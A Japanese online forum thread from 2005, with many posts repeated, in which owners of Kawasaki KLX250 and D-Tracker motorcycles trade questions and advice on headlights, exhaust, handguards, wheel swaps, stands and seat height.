ﾊﾟｰﾂも豊富、ﾀｲﾔも安い。
今相当惚れこんでます。
だれか～
バッテリをシートの下に移植した人はいないですか？
バッテリをシートの下に移植した人はいないですか？
182 ：７７４ＲＲ：2005/05/15(日) 20:51:29 ID:4a6J1QMn
アチェルビス縦目の暗さで質問した者です。
助言頂いたにも関わらず、５０ｗのハロゲンランプ（７５ｗ相当）を
カインズホーム（マイナーかしら？）で買ってきました。
２３３０円。（バイク用品屋より断然安い）
装着したら報告します。
助言頂いたにも関わらず、５０ｗのハロゲンランプ（７５ｗ相当）を
カインズホーム（マイナーかしら？）で買ってきました。
２３３０円。（バイク用品屋より断然安い）
装着したら報告します。
184 ：７７４ＲＲ：2005/05/15(日) 22:24:13 ID:Rpap9Jc4
KLXを新車で購入してから1600km（ツーリング行ったら思ったより
走っちゃった）オイル交換しないで走ってたんで
さすがにまずいと思ってオイル交換したら更に仰天！
オイルフィルター入ってなかったやんけ！
どうなっとんねん！カワサキ！
さみしくバネだけがころがってました・・・
これは怒っていいよな？それともカワサキではよくある事？
走っちゃった）オイル交換しないで走ってたんで
さすがにまずいと思ってオイル交換したら更に仰天！
オイルフィルター入ってなかったやんけ！
どうなっとんねん！カワサキ！
さみしくバネだけがころがってました・・・
これは怒っていいよな？それともカワサキではよくある事？
カワサキというかバイク店じゃない？
怒ったほうがいいと思う。
187 ：７７４ＲＲ：2005/05/15(日) 22:40:14 ID:PF51scPX
向こうの落ち度だから、クレーム付けて新車に交換してもらえ！
多分釣りだから放置しろよ・・・・
>182
うっほのギブリ、H4入れとけばﾎｰﾑｾﾝﾀｰで安売りしている
H4のハイワットバルブ（110ｗ/100ｗ相当）が2個（車用）で
そのぐらいの学でかえないか？
でも、正直、縦目が明るかったら折れも付けてたけど・・・。
正直、報告マッテルヨ。
うっほのギブリ、H4入れとけばﾎｰﾑｾﾝﾀｰで安売りしている
H4のハイワットバルブ（110ｗ/100ｗ相当）が2個（車用）で
そのぐらいの学でかえないか？
でも、正直、縦目が明るかったら折れも付けてたけど・・・。
正直、報告マッテルヨ。
コーナン行ったらH4なんて二本で780円だろ
980円のもあったけど
もちハイワッテージ（のはず）
980円のもあったけど
もちハイワッテージ（のはず）
192 ：７７４ＲＲ：2005/05/16(月) 15:53:31 ID:SGyBGpbY
ちょいと教えてもらいたいのですが、
友人からｄトラをゆずってもらえたのですが、
３００ｃｃきっとを組んでいるらしく、マフラーも爆音です。
そこで静かなマフリャーを探していますが、ご存知の方お願いします。
また純正を手に入れたので純正に交換しようとも考えているのですが、
５０ｃｃの違うのでやっぱりやめといたほうがいいですか？
よろしくお願いします。
友人からｄトラをゆずってもらえたのですが、
３００ｃｃきっとを組んでいるらしく、マフラーも爆音です。
そこで静かなマフリャーを探していますが、ご存知の方お願いします。
また純正を手に入れたので純正に交換しようとも考えているのですが、
５０ｃｃの違うのでやっぱりやめといたほうがいいですか？
よろしくお願いします。
３００用の純正マフラーが一番静か
195 ：７７４ＲＲ：2005/05/16(月) 20:27:22 ID:5gFP/wdo
バイクでハイビーム返しても効果が期待できない。
>>194
いいね、俺もこ前スレで教えてもらって加工したけど、出先でライターかなんかで炙られた。。。。
いいね、俺もこ前スレで教えてもらって加工したけど、出先でライターかなんかで炙られた。。。。
>194
なんか、下の三角ないとDRのっぽくなくて分かんないね。
ﾗｲﾄﾕﾆｯﾄはﾉｰﾏﾙなん？
なんか、下の三角ないとDRのっぽくなくて分かんないね。
ﾗｲﾄﾕﾆｯﾄはﾉｰﾏﾙなん？
199 ：１８４ですが：2005/05/16(月) 22:42:39 ID:KGm7/kLj
>188,191
信じてもらえないとは・・・
まーバイク屋もびっくりしてたからなー。
まーいちいち新車で売る時にオイルフィルター入ってるかどうか
なんか普通確認せんもんな。
オイルフィルター２個くれた（そういう問題）。
とりあえず調子よく走ってるからそのまま乗ってる
信じてもらえないとは・・・
まーバイク屋もびっくりしてたからなー。
まーいちいち新車で売る時にオイルフィルター入ってるかどうか
なんか普通確認せんもんな。
オイルフィルター２個くれた（そういう問題）。
とりあえず調子よく走ってるからそのまま乗ってる
200 ：７７４ＲＲ：2005/05/16(月) 22:47:30 ID:Xaw15O17
klxの純正のハンドルガードを外したいんですけど、どうしたらいいのですか？
はずそうとしたのですが、外し方がわかりません…
はずそうとしたのですが、外し方がわかりません…
201 ：７７４ＲＲ：2005/05/16(月) 22:55:10 ID:LHub8BS1
>>139
工作の方法教えてもらえませんか？
工作の方法教えてもらえませんか？
203 ：200：2005/05/16(月) 23:07:19 ID:Xaw15O17
＞202
上下のナットを外してトライしてみたんですが、無理すれば外せそうではあるんですが、
下手すれば折れそうでもあるんですよ。
上下のナットを外してトライしてみたんですが、無理すれば外せそうではあるんですが、
下手すれば折れそうでもあるんですよ。
＞203
無理して外せ。オトコは度胸ダ！
無理して外せ。オトコは度胸ダ！
結構固いけどスルっと外せる
社外ハンドルに変えればいいじゃん。
どうせ、カメラマウント付けたいだけでそ？
どうせ、カメラマウント付けたいだけでそ？
207 ：７７４ＲＲ：2005/05/16(月) 23:45:22 ID:LqoElXTq
ブレーキングのローターに替えたら、フロントフォーク沈み過ぎ！
やっぱりｽﾌﾟﾘﾝｸﾞ替えないと駄目かな？
やっぱりｽﾌﾟﾘﾝｸﾞ替えないと駄目かな？
208 ：７７４ＲＲ：2005/05/17(火) 00:21:08 ID:4GKBu1xd
>207
俺は下のﾀﾞｲﾔﾙ調整しただけでｲｲ感じになったよ
俺は下のﾀﾞｲﾔﾙ調整しただけでｲｲ感じになったよ
209 ：７７４ＲＲ：2005/05/17(火) 00:36:19 ID:qM3Yz8N9
最近D虎をかって、フルエキのマフラーと、ツインエアーを入れようと思ってるんですが、MJは目安として何番くらい上げたらよいですか？
ノーマルでOKです。
やっぱオフ車ってキックで始動したほうがカッコイイな
おれ、逆にDトラッカーにklx純正のガードを付けたい。
部品は手元にあるけど、付け方が分からん（部品が足らない？）
どなたか、KLXのハンドル部分を撮影してアップしてくださらぬか。
近所に実車が見たらなくって。
部品は手元にあるけど、付け方が分からん（部品が足らない？）
どなたか、KLXのハンドル部分を撮影してアップしてくださらぬか。
近所に実車が見たらなくって。
213 ：７７４ＲＲ：2005/05/17(火) 09:10:56 ID:MaUsfptS
>212
ＫＬＸ用のナックルガード取り付けのネジが必要。それ以外は同じはず。
ただしシェルパ用はちと加工が必要。２年前に黒いナックルガードが欲しくて
シェルパの奴流用したらブレーキ側がちと干渉したので加工した。
ＫＬＸ用のナックルガード取り付けのネジが必要。それ以外は同じはず。
ただしシェルパ用はちと加工が必要。２年前に黒いナックルガードが欲しくて
シェルパの奴流用したらブレーキ側がちと干渉したので加工した。
215 ：７７４ＲＲ：2005/05/17(火) 09:43:29 ID:BLs3TQq8
衛星でモタードのレースをみてから
モータードやりてーっておもったんだけど、
ＫＬＸにポン付けでＤ虎のタイヤはつくのかな？
オフタイヤとモタードのタイヤを林道と公道で履き替えてる人いる？
ＫＡＷＡＳＡＫＩのスペック表見るとタイヤの幅が違うから加工が必要と
思うんすけど簡単に付くもんなのでしょうか？
モータードやりてーっておもったんだけど、
ＫＬＸにポン付けでＤ虎のタイヤはつくのかな？
オフタイヤとモタードのタイヤを林道と公道で履き替えてる人いる？
ＫＡＷＡＳＡＫＩのスペック表見るとタイヤの幅が違うから加工が必要と
思うんすけど簡単に付くもんなのでしょうか？
>215
ポン付けＯＫだが、リアスプロケをＫＬＸの４２Ｔから３９Ｔに変更しなきゃならないのと
スピードメーターがタイヤの外周が違ってくるのでおかしな数値を出してくるのを
ガマンしなきゃならない。
ただしＳＲだとフロントはハブが違うから加工が必要。
ポン付けＯＫだが、リアスプロケをＫＬＸの４２Ｔから３９Ｔに変更しなきゃならないのと
スピードメーターがタイヤの外周が違ってくるのでおかしな数値を出してくるのを
ガマンしなきゃならない。
ただしＳＲだとフロントはハブが違うから加工が必要。
Dトラを真っ直ぐに立てるように駐輪場に置きたいのですが
オンロードのレーシングスタンドでお勧め有りましたら紹介してください
バイクリフトも考えたのですが全体的に上がってしまうのは避けたいと思いますし団地の駐輪場なので
コンパクトで幅および後ろ側に飛び出ないものを探しています、宜しくお願いします。
オンロードのレーシングスタンドでお勧め有りましたら紹介してください
バイクリフトも考えたのですが全体的に上がってしまうのは避けたいと思いますし団地の駐輪場なので
コンパクトで幅および後ろ側に飛び出ないものを探しています、宜しくお願いします。
どう考えても釣りだろ。立てて置く必要があるってどんだけ奥行き短い駐輪場だよ？
それに、コックOFFにし忘れたらガソリンだだ漏れにならないか？
それに、コックOFFにし忘れたらガソリンだだ漏れにならないか？
スイングアームに架けるタイプなら
大型用で大丈夫だと思います
バックステップなら架けやすいかな
大型用で大丈夫だと思います
バックステップなら架けやすいかな
まて、まっすぐに立てるってセンタースタンドで立てるようなアレじゃねーの？
いやまさかそんな・・・竿立ち駐車させたいなんてことは・・・。('A`;
いやまさかそんな・・・竿立ち駐車させたいなんてことは・・・。('A`;
そして 1分差で先にレスられた俺ガイル。
_no
_no
おまいら、こいつのレス見て突っ込みどころはありませんか？
俺は思わず「ボラが釣れちゃったね」と思ったよ。
219 名前：７７４ＲＲ[sage] 投稿日：2005/05/17(火) 12:55:06 ID:PnyDcz5C
どう考えても釣りだろ。立てて置く必要があるってどんだけ奥行き短い駐輪場だよ？
それに、コックOFFにし忘れたらガソリンだだ漏れにならないか？
俺は思わず「ボラが釣れちゃったね」と思ったよ。
219 名前：７７４ＲＲ[sage] 投稿日：2005/05/17(火) 12:55:06 ID:PnyDcz5C
どう考えても釣りだろ。立てて置く必要があるってどんだけ奥行き短い駐輪場だよ？
それに、コックOFFにし忘れたらガソリンだだ漏れにならないか？
中型の方が幅が合うのでは？
217ではないのですが、私も横に狭い駐輪場で
自転車の人には申し訳ないなって感じでおいてあるので
気持ちはわかります。後ろにも出ないってのはむずかしいかな。
フロント／リアスタンドって安定感はどんなものなのでしょうか？
自転車の人には申し訳ないなって感じでおいてあるので
気持ちはわかります。後ろにも出ないってのはむずかしいかな。
フロント／リアスタンドって安定感はどんなものなのでしょうか？
こける。スタンドだけ盗まれる。お好きにどうぞ。
ttp://www.dirtfreak.co.jp/products/drcproducts/elect/edge/main.html
これのテールランプホルダーってランプ止めの左右の穴は自分で開けるってこと？
デイトナのは高い。
オクでフェンダーキット売ってる人がいるけど、いい商売だな、あれ。
これのテールランプホルダーってランプ止めの左右の穴は自分で開けるってこと？
デイトナのは高い。
オクでフェンダーキット売ってる人がいるけど、いい商売だな、あれ。
>>227 ランプ止めの穴は空いてるよ
231 ：７７４ＲＲ：2005/05/17(火) 16:03:34 ID:07JnEtGi
フロントフォークガードが砕けたのですが、
流用できる車種のものってありますか？
KX250タイプとか好きなデザインだけど、
無理かな？
流用できる車種のものってありますか？
KX250タイプとか好きなデザインだけど、
無理かな？
そこでフォークブーツの登場ですよ！
倒立にですか
>>231
ウィスパーナイトガード夜用スーパー
ウィスパーナイトガード夜用スーパー
>>225
217です
そうですセンタースタンドのように立てたいと言うことです、説明足りなかったですね
用途は225さんと同じです他の自転車はサイドスタンド少なくてだいたい真っ直ぐに立ってるのでサイドスタンドだと結構幅を取ってしまうので何とか出来ないかな
先ほどナップスとかで探してきたんですが後ろが比較的出ていない物だと車輪が付いていなくて前方に押せなくてこれはこれで困ります
希望は車輪が付いていて幅が比較的狭くて後ろに飛び出ていないものが理想なんですが
リフトだと結構浮いてしまうのと前後浮くことでの安定性が、子供も入ってくるところなので気がかりです
217です
そうですセンタースタンドのように立てたいと言うことです、説明足りなかったですね
用途は225さんと同じです他の自転車はサイドスタンド少なくてだいたい真っ直ぐに立ってるのでサイドスタンドだと結構幅を取ってしまうので何とか出来ないかな
先ほどナップスとかで探してきたんですが後ろが比較的出ていない物だと車輪が付いていなくて前方に押せなくてこれはこれで困ります
希望は車輪が付いていて幅が比較的狭くて後ろに飛び出ていないものが理想なんですが
リフトだと結構浮いてしまうのと前後浮くことでの安定性が、子供も入ってくるところなので気がかりです
あ～ぁ
高さ調節できるバイクリフトってのもあるんだが・・・
それこそセンスタ状態と同じ状態にできるものが。
それこそセンスタ状態と同じ状態にできるものが。
もうフレームに溶接でセンスタ付けちゃえ
>>235
子供が入ってくる場所で転倒しやすくなるレーシングスタンドはどうかと。
なので転倒防止でワイヤー等を使い、近くの柱に補助出来れば良いかな。
てか日頃からご近所には愛想良くすることを勧めます。
「大きくてご迷惑かけます」くらい言っとくと良いよ。
子供が入ってくる場所で転倒しやすくなるレーシングスタンドはどうかと。
なので転倒防止でワイヤー等を使い、近くの柱に補助出来れば良いかな。
てか日頃からご近所には愛想良くすることを勧めます。
「大きくてご迷惑かけます」くらい言っとくと良いよ。
>>239
・・・
・・・
>>230
写真の角度が悪かったようで、あいてるのね。ありがと。
写真の角度が悪かったようで、あいてるのね。ありがと。
そうそう
倒立ってなんでブーツないんだろか？
あんなカバーやと埃よけにならんと
構造が全然違うのかな
倒立ってなんでブーツないんだろか？
あんなカバーやと埃よけにならんと
構造が全然違うのかな
腐ると摩擦面に当たらないだけだからでしょ。
ホールドの方法さえ考えりゃどーでもいいかも。
でもガレ場とかでは心臓に悪いかも。
ホールドの方法さえ考えりゃどーでもいいかも。
でもガレ場とかでは心臓に悪いかも。
Ｄ虎と２５０ＳＢって外装以外まったく同じなんですか？
テンプレにある
>D虎は－３ｃｍで考えてよし
っていうのはＫＬＸと比べてってことでいいんですかね？ＳＢと比べてじゃないですよね？
質問ばっかですいませんが、どうか教えてください。
テンプレにある
>D虎は－３ｃｍで考えてよし
っていうのはＫＬＸと比べてってことでいいんですかね？ＳＢと比べてじゃないですよね？
質問ばっかですいませんが、どうか教えてください。
Ｄ虎と２５０ＳＢは車体は同じだよ。
フレームとかのカラーリングが違うだけ。
フレームとかのカラーリングが違うだけ。
247 ：７７４ＲＲ：2005/05/17(火) 20:50:43 ID:JAICLrfl
>>244
ジャストフィットじゃないとリム曲がってしまいそうだ
ジャストフィットじゃないとリム曲がってしまいそうだ
だめ。俺は言ってるけど。
>>248
Ｄ虎乗りって言っていいですよ。
パーツもＤ虎買えば車体は同じなので問題無く付きます。
Ｄ虎乗りって言っていいですが、他人の２５０ＳＢをＤ虎だと言わないように。
「俺は２５０ＳＢ乗りだぁ！」と堅くなに言う人もいますのでｗ
Ｄ虎乗りって言っていいですよ。
パーツもＤ虎買えば車体は同じなので問題無く付きます。
Ｄ虎乗りって言っていいですが、他人の２５０ＳＢをＤ虎だと言わないように。
「俺は２５０ＳＢ乗りだぁ！」と堅くなに言う人もいますのでｗ
「250SB」って言っても、知ってる香具師少ないので
「D虎乗ってます」でもｴｴんとちがう？
「D虎乗ってます」でもｴｴんとちがう？
以前、バリオスですか？って聞いたら”じすぺけ”ですって怒られたことある俺ちゃんがきましたよっと
>>249
俺も言いますｗ
>>250
>>251
自分のバイクだけＤ虎というようにします。
ってかデイトナかどっかの外装キットでハスクちっくにしてハスクです！って言おうかなｗ
カラーが黄色だからできる荒業。やっぱＳＢを買います。
兄貴がＤ虎なので同じのは嫌ってのもありますが。でも、同じかｗ
俺も言いますｗ
>>250
>>251
自分のバイクだけＤ虎というようにします。
ってかデイトナかどっかの外装キットでハスクちっくにしてハスクです！って言おうかなｗ
カラーが黄色だからできる荒業。やっぱＳＢを買います。
兄貴がＤ虎なので同じのは嫌ってのもありますが。でも、同じかｗ
>>253
兄貴がD虎ならDR-ZSMにして優越感を味わえば？
兄貴がD虎ならDR-ZSMにして優越感を味わえば？
257 ：７７４ＲＲ：2005/05/17(火) 22:58:38 ID:d0OCrtCw
漏れは言わない。
OEMと解ってはいるが、区別して貰いたい。
それに、足着きばかり気にしてる用だけど、SMとたいして変わらない様なきが・・・。
OEMと解ってはいるが、区別して貰いたい。
それに、足着きばかり気にしてる用だけど、SMとたいして変わらない様なきが・・・。
>>257
身長が小さい人って足つきが気になるんですよ。俺だけじゃないはずです。
たいしての度合いによってまったく乗れなくなったりしますからね。
ＳＭは跨ったことないからなんとも言えませんけど、サスが堅いから足つきが悪そうに思えます。
実際どうなんでしょうか？もしたいしての度合いが小さいなら購入も考えていいなーって思ってます。
身長が小さい人って足つきが気になるんですよ。俺だけじゃないはずです。
たいしての度合いによってまったく乗れなくなったりしますからね。
ＳＭは跨ったことないからなんとも言えませんけど、サスが堅いから足つきが悪そうに思えます。
実際どうなんでしょうか？もしたいしての度合いが小さいなら購入も考えていいなーって思ってます。
259 ：７７４ＲＲ：2005/05/17(火) 23:15:07 ID:qM3Yz8N9
キックってポンでつく？ギアばらしてから？
260 ：７７４ＲＲ：2005/05/17(火) 23:32:38 ID:4GKBu1xd
ギアバラしてだからｼｮｯﾌﾟに頼むと4ﾏｿ以上かかる
250SB乗りだが、ほとんど車名を名乗ったことが無い。
わからないと思うし。
人によって使い分け。
1.（カワサキの）オフ車
2.KLX（21ホイールも持ってますので）
3.Dトラッカー
1が一番多い事実(つД｀)ﾟ｡
わからないと思うし。
人によって使い分け。
1.（カワサキの）オフ車
2.KLX（21ホイールも持ってますので）
3.Dトラッカー
1が一番多い事実(つД｀)ﾟ｡
参考にパーツリストを川重で見てみるといいよ。
付けたところでセルしか使わないし、
バッテリあがったら押し掛け余裕でできる車体にキックは必要ないぞ。
付けたところでセルしか使わないし、
バッテリあがったら押し掛け余裕でできる車体にキックは必要ないぞ。
↑ 声が凄くやらしいぞ
>>263
デイトナで12,600円でありますね。
http://www.daytona.co.jp/motorcycle/motard/bodyparts/bodyparts.html
黄色のＳＢにユーロマスクの青をつけるだけでハスクちっくになるかな・・・・。
それよか黒のＳＢに黒のユーロマスクをつけてなんちゃって５７０にしたほうがハスクに見えるかな・・・。
これだけだとちょっとかっこ悪いかもしれませんね。
他に外装つけるか黄色のＳＢのシートを青にするとけっこういい感じになりそうだけど。
ハスクのステッカー貼ったらだめだよね・・・。
デイトナで12,600円でありますね。
http://www.daytona.co.jp/motorcycle/motard/bodyparts/bodyparts.html
黄色のＳＢにユーロマスクの青をつけるだけでハスクちっくになるかな・・・・。
それよか黒のＳＢに黒のユーロマスクをつけてなんちゃって５７０にしたほうがハスクに見えるかな・・・。
これだけだとちょっとかっこ悪いかもしれませんね。
他に外装つけるか黄色のＳＢのシートを青にするとけっこういい感じになりそうだけど。
ハスクのステッカー貼ったらだめだよね・・・。
267 ：７７４ＲＲ：2005/05/18(水) 02:15:00 ID:uTR2tGFY
>>266 やめとけ、本物に並ばれたら恥ずかしいぞ。なんちゃってハスクにしてどーすんだ？
>>267
他人に見られて恥ずかしいのは別にいいとして、知り合いにはけっこうウケるかなーって思って。
知り合いが何人かハスク乗ってるんで、その知り合いたちにＳＢをハスクちっくにしてみようか？って話してたら
いいね～みたいな話になったわけです。
一番嫌なのが中途半端に出来上がることなんですよね。けっこうハスクじゃん！って言われるようなバイクにしたいです。
他人に見られて恥ずかしいのは別にいいとして、知り合いにはけっこうウケるかなーって思って。
知り合いが何人かハスク乗ってるんで、その知り合いたちにＳＢをハスクちっくにしてみようか？って話してたら
いいね～みたいな話になったわけです。
一番嫌なのが中途半端に出来上がることなんですよね。けっこうハスクじゃん！って言われるようなバイクにしたいです。
友達の2004Ｄ虎に軽く乗らしてもらったんだけど
予想以上に初速がいい感じだった
バリオス、ホーネットと比べたら
Ｄ虎って初速(～60キロくらい出るまで)
速い？
遅い？
あと車高が高いから
爽快だったよ
今までレプリカばかりだったけど
こういうバイクも
いいかも！
(今は初事情によりビックスクーター)
予想以上に初速がいい感じだった
バリオス、ホーネットと比べたら
Ｄ虎って初速(～60キロくらい出るまで)
速い？
遅い？
あと車高が高いから
爽快だったよ
今までレプリカばかりだったけど
こういうバイクも
いいかも！
(今は初事情によりビックスクーター)
なんちゃってを作るならステッカーもあったほうがいいよな。
「ハクスバーナ」「バスクハーナ」みたいな
「ハクスバーナ」「バスクハーナ」みたいな
273 ：７７４ＲＲ：2005/05/18(水) 10:07:45 ID:6nuh8Zho
THE BRAKE SHOPのROKKKEZのフルエキつけたぜ(`･ω･´)
凄くサウンド、ルックス、パワー共に最高(・∀・)ｲｲ!
凄くサウンド、ルックス、パワー共に最高(・∀・)ｲｲ!
マジだ！右に切ってもロックできる！！
俺はKLXは逆ハン切っておくモノだと思ってたよ・・・orz
だって左に切ったら傾きすぎるから・・・
その調子で他のバイクも右で切ってたんだけど、左でしか切れないバイクもあるんだよね。
車名は忘れたけどホンダだったように思う。
だって左に切ったら傾きすぎるから・・・
その調子で他のバイクも右で切ってたんだけど、左でしか切れないバイクもあるんだよね。
車名は忘れたけどホンダだったように思う。
あっそうか、俺の初期型ＳＲだからメーターの下にキーシリンダーついてないんだった。
ＧＳの店員は鍵穴が無いのでいつもパルプンテ。
いつも同じ店なんだから覚えて欲しかったり。
ＧＳの店員は鍵穴が無いのでいつもパルプンテ。
いつも同じ店なんだから覚えて欲しかったり。
メダパニじゃなくて？
>>277
そこは拾わなくていいんだよ
そこは拾わなくていいんだよ
IDが Z2 ｘ FZ
右に切って止めたいんだけど
アクセルワイヤーに負担かかる＆変なクセ付きそうなんでやめてる。
しかしＫＤＸ200ＳＲはロックキー別で右切りだけだった様な・・・
アクセルワイヤーに負担かかる＆変なクセ付きそうなんでやめてる。
しかしＫＤＸ200ＳＲはロックキー別で右切りだけだった様な・・・
モトクロッサーの2ストもなくなるんだってね。
KDXほしいわぁ
KDXほしいわぁ
282 ：７７４ＲＲ：2005/05/18(水) 18:04:57 ID:PzovJ0uX
ちょいと質問です。
Dトラ規制後に配線だけいじってボルトオンできる規制前イグナイターの
型番が知りたいんですが。。。
'96とか'97のKLXのもつくんでしょうか？？
Dトラ規制後に配線だけいじってボルトオンできる規制前イグナイターの
型番が知りたいんですが。。。
'96とか'97のKLXのもつくんでしょうか？？
＞ロックキー別で右切りだけだった様な・・・
てか、ＫＬＸも元々はそうだった訳だが。
ﾏｯﾀｸ､ｲﾏﾄﾞｷﾉﾜｹｰﾔｼﾊｗ
てか、ＫＬＸも元々はそうだった訳だが。
ﾏｯﾀｸ､ｲﾏﾄﾞｷﾉﾜｹｰﾔｼﾊｗ
KDX220乗りだったらほほほーなわけだが。。。
メインキーの位置もＫＬＸ以上に「はぁ？」って所だし。
メインキーの位置もＫＬＸ以上に「はぁ？」って所だし。
本日SJを40にして、ワッシャを2枚取り外して見ました。
割といい感じになったので、このまま様子を見ようかと思います。
割といい感じになったので、このまま様子を見ようかと思います。
>>284
ほう３８か、漏れ３９なんで、ほぼ同年代でつな。ｗ
カワサキはＫＤＸ２００以降、キーシリンダーをトップブリッヂではなく
タンク下やフレームネック部に設置して、ステアリングの抵抗を減らし
ハンドリング優先の創り込みをしていた。
その頃オフに目覚めた漏れは、トップブリッヂにキーが無いのがカワサキオフ車の証！
って感じで、結構気に入ってたのだが、現行ＫＬＸは・・・orz
ほう３８か、漏れ３９なんで、ほぼ同年代でつな。ｗ
カワサキはＫＤＸ２００以降、キーシリンダーをトップブリッヂではなく
タンク下やフレームネック部に設置して、ステアリングの抵抗を減らし
ハンドリング優先の創り込みをしていた。
その頃オフに目覚めた漏れは、トップブリッヂにキーが無いのがカワサキオフ車の証！
って感じで、結構気に入ってたのだが、現行ＫＬＸは・・・orz
軟弱路線にしないと数が売れないからねえ
モデルチェンジしたKLX乗せて貰ったときはｷｰどこに刺すの？って言った覚えが。
そういえばセル化が一番遅かったのがカワサキなんだよな。
ふぅ、なんか。
そういえばセル化が一番遅かったのがカワサキなんだよな。
ふぅ、なんか。
>>285
その辺から車種分かんないです。
>>287
ですね。ただ当時ﾌﾞｰﾂで引っかけてキーＯＦＦが多発したとかでまた戻ったんでしたっけ？
漏れはもちょっと早くてXT125 DT200R(37F)から。 ちなみにXT200は長渕剛がﾄﾞﾗﾏで使ってましたねぇ。
ＯＰのウイリーシーン（もちろんスタント？）がｶｺ良かった・・・・ってｽﾚ汚しｽﾏｾﾝ
その辺から車種分かんないです。
>>287
ですね。ただ当時ﾌﾞｰﾂで引っかけてキーＯＦＦが多発したとかでまた戻ったんでしたっけ？
漏れはもちょっと早くてXT125 DT200R(37F)から。 ちなみにXT200は長渕剛がﾄﾞﾗﾏで使ってましたねぇ。
ＯＰのウイリーシーン（もちろんスタント？）がｶｺ良かった・・・・ってｽﾚ汚しｽﾏｾﾝ
39歳になったばかりです。
KDXはキーシリンダの中のパーツを一コ取ると
イグニションオンでキーが抜けるという親切設計
KDXはキーシリンダの中のパーツを一コ取ると
イグニションオンでキーが抜けるという親切設計
>>291
誕生日オメ。お互い大台にリーチｗ
>>290
ＸＴ２００はランボーでも使われて棚。音は２サイクルだったがｗ
漏れはＫＤＸ２００乗ってた時、配線直結してキーシリンダー取っ払ってたな。
今乗ってるＫＬＸは’９４のＥＳ、新車を予約して買って、もう１１年・・・
７マソｋｍオーバーで、あちこちガタが来てボロボロ
でも乗り換えたくなるカワサキのニューマシン、出ないからなぁ。
チラシの裏、スマソ
誕生日オメ。お互い大台にリーチｗ
>>290
ＸＴ２００はランボーでも使われて棚。音は２サイクルだったがｗ
漏れはＫＤＸ２００乗ってた時、配線直結してキーシリンダー取っ払ってたな。
今乗ってるＫＬＸは’９４のＥＳ、新車を予約して買って、もう１１年・・・
７マソｋｍオーバーで、あちこちガタが来てボロボロ
でも乗り換えたくなるカワサキのニューマシン、出ないからなぁ。
チラシの裏、スマソ
300Rにしてる時点でＯＨしてるとは言わないのか？
>>294
いや>>293の（300R）ってのは、漏れのレス番の292に対してでは無いかとｗ
>>293
確かに丈夫だな・・・普通に使ってる分にはｗ
漏れは最近ゲロばっかりなんで、かなりヤレてきてるorz
いや>>293の（300R）ってのは、漏れのレス番の292に対してでは無いかとｗ
>>293
確かに丈夫だな・・・普通に使ってる分にはｗ
漏れは最近ゲロばっかりなんで、かなりヤレてきてるorz
297 ：７７４ＲＲ：2005/05/18(水) 22:58:37 ID:rPKFzRxY
71&182です。
アチェルビス縦目の続報です。
黄色い帽子でPIAA製85wで照射角度25度のバルブ（3000円位）をゲトしました。
（オフロード）との記載がありました。
50wで20度のバルブとの２灯ならノーマルＨ４の60wと勝負できるかしらね。
照射角度狭いし。
オルタネータの出力も15Aなので、何とかなるかしら？俺のテールはＬＥＤだし。
あとはライトリレーハーネスを念のため２スケで製作する予定。
アチェ縦目は、虎に付けた場合、上向くので加工して光軸はちゃんと下げしょう。
途中経過でした。
アチェルビス縦目の続報です。
黄色い帽子でPIAA製85wで照射角度25度のバルブ（3000円位）をゲトしました。
（オフロード）との記載がありました。
50wで20度のバルブとの２灯ならノーマルＨ４の60wと勝負できるかしらね。
照射角度狭いし。
オルタネータの出力も15Aなので、何とかなるかしら？俺のテールはＬＥＤだし。
あとはライトリレーハーネスを念のため２スケで製作する予定。
アチェ縦目は、虎に付けた場合、上向くので加工して光軸はちゃんと下げしょう。
途中経過でした。
298 ：７７４ＲＲ：2005/05/19(木) 01:29:35 ID:9UGifVdz
現行の乗ってるけど、ｱﾁｪのバンドがフォーク太くてとどかないYO
299 ：７７４ＲＲ：2005/05/19(木) 02:16:09 ID:u8uMVvOg
今04虎慣らし中なんですけど一速って何ｷﾛまで出ます？で何ｷﾛ辺りからレッドか分かりますか？因みにドノーマルです。
ttp://www.redbro.com/products/d_poin.html#parts
コレに乗ってる人はいるのかなぁ～？
ギブリライトの専用ステーってのは魅力だが、
フロントウインカーはこんな場所でＯＫ？
名前もﾀﾞｯｻｲw
コレに乗ってる人はいるのかなぁ～？
ギブリライトの専用ステーってのは魅力だが、
フロントウインカーはこんな場所でＯＫ？
名前もﾀﾞｯｻｲw
z1
302 ：７７４ＲＲ：2005/05/19(木) 12:38:24 ID:iuVnz56t
タンデムはやっぱりキツイですよね
303 ：７７４ＲＲ：2005/05/19(木) 13:11:44 ID:zkKJaXI/
海苔方さえ考えれば、たいして気にならないよ。
気になるならビクスクかｱﾒﾘｶﾝにしかのれない。
てかそれ以外のるな、と思う。
気になるならビクスクかｱﾒﾘｶﾝにしかのれない。
てかそれ以外のるな、と思う。
>>300
だせえな、それ
でも世の中にはカスタムという行為において手段と目的を取り違えてる
奴も多いからな。わかりやすく言うと、カスタムすること自体が目的で
それによって生じた結果に何のまとまりもなくても平気という奴らだ。
ヤフオクとかにカスタム中古を高値で出す奴と、それを買う奴とか
だせえな、それ
でも世の中にはカスタムという行為において手段と目的を取り違えてる
奴も多いからな。わかりやすく言うと、カスタムすること自体が目的で
それによって生じた結果に何のまとまりもなくても平気という奴らだ。
ヤフオクとかにカスタム中古を高値で出す奴と、それを買う奴とか
305 ：７７４ＲＲ：2005/05/19(木) 14:37:49 ID:1G5gA3DW
すいません、質問です。
キタコのこのライト
ttp://www.bike.ne.jp/shopping/disp1.asp?ProductID=16327
これの明るさは純正よりも暗いんでしょうか？
また、電球をHIDに変えて明るくするとかってできるんでしょうか？
詳しいかた、付けているかたよろしくお願いします。
キタコのこのライト
ttp://www.bike.ne.jp/shopping/disp1.asp?ProductID=16327
これの明るさは純正よりも暗いんでしょうか？
また、電球をHIDに変えて明るくするとかってできるんでしょうか？
詳しいかた、付けているかたよろしくお願いします。
今からバイク屋さんでＤトラを跨ってきます。身長１６３股下70体重53です。
たぶん片足の爪先がつくかつかないかだろうな・・・・。
たぶん片足の爪先がつくかつかないかだろうな・・・・。
307 ：７７４ＲＲ：2005/05/19(木) 14:42:36 ID:WALKbotL
250ＳＢのスプロケとチェーンを社外品に交換しようと思うのだけど、
ジュラルミンの耐久性はどうなの？
ジュラルミンの耐久性はどうなの？
デブと普通の人を一緒にしちゃ駄目。
身長163で体重53て男なら軽い方だぞ。
下半身から太る人にはオススメできない諸刃の剣
313 ：７７４ＲＲ：2005/05/19(木) 18:03:04 ID:zkKJaXI/
足着き気になるならｱﾒﾘｶﾝに乗っとけ。
あれ、こっちに書いてたｙ。
規制前と規制後では、ヘッドやバルブの型番が変更されてます。
